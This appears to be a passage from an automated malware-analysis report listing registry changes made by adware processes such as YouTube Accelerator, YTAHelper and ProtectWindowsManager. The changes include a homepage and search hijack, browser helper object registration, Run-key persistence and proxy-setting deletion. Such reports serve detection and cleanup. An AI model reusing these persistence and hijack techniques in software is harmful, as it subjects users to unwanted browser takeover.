"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process BaofengUpdate.exe:3000 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YTAHelper.exe:2860 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\GOOBZO\YTAHelper]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F1 29 BF 31 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"YTAHEXELOCATION" = "%Program Files% (x86)\YTAHelper"
"Version" = "2.6.0.230"
"UserId" = "1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"Aff" = "smtycl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\GOOBZO\YTAHelper]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:2136 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectWindowsManager.exe:2796 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process YouTubeAcceleratorService.exe:2112 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"
"{K7C0DB872A3F777C0}" = "37 02 E0 0B 0A 17 1F CD 22 18 2A 64 22 18 AF B6"

The process YouTubeAcceleratorService.exe:2392 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "C1 0A 55 F0 0A 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Developer Tools"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%Program Files% (x86)\Internet Explorer\iedvtool.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:1816 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKeC"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1424736164"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424736166"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "BF 30 63 34 C5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "BF 30 63 34 C5 4F D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "8bbf5d60-0613-4bcc-93c8-28817ab1fcc2"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "bbRSxORx"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "p2giThPc"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "Nq]Y"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "1788e91e-8b19-462a-8e2b-90ae69199b26"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:3696 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

The process ins_postInst.exe:1836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 ED 4F 2A C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F4 6F 0F 2C C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F4 6F 0F 2C C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:3636 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:3776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process YouTubeAccelerator.exe:2520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "4F 03 F2 34 C5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "45 4A 27 39 C5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424736166"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "45 4A 27 39 C5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:1688 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F1 29 BF 31 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

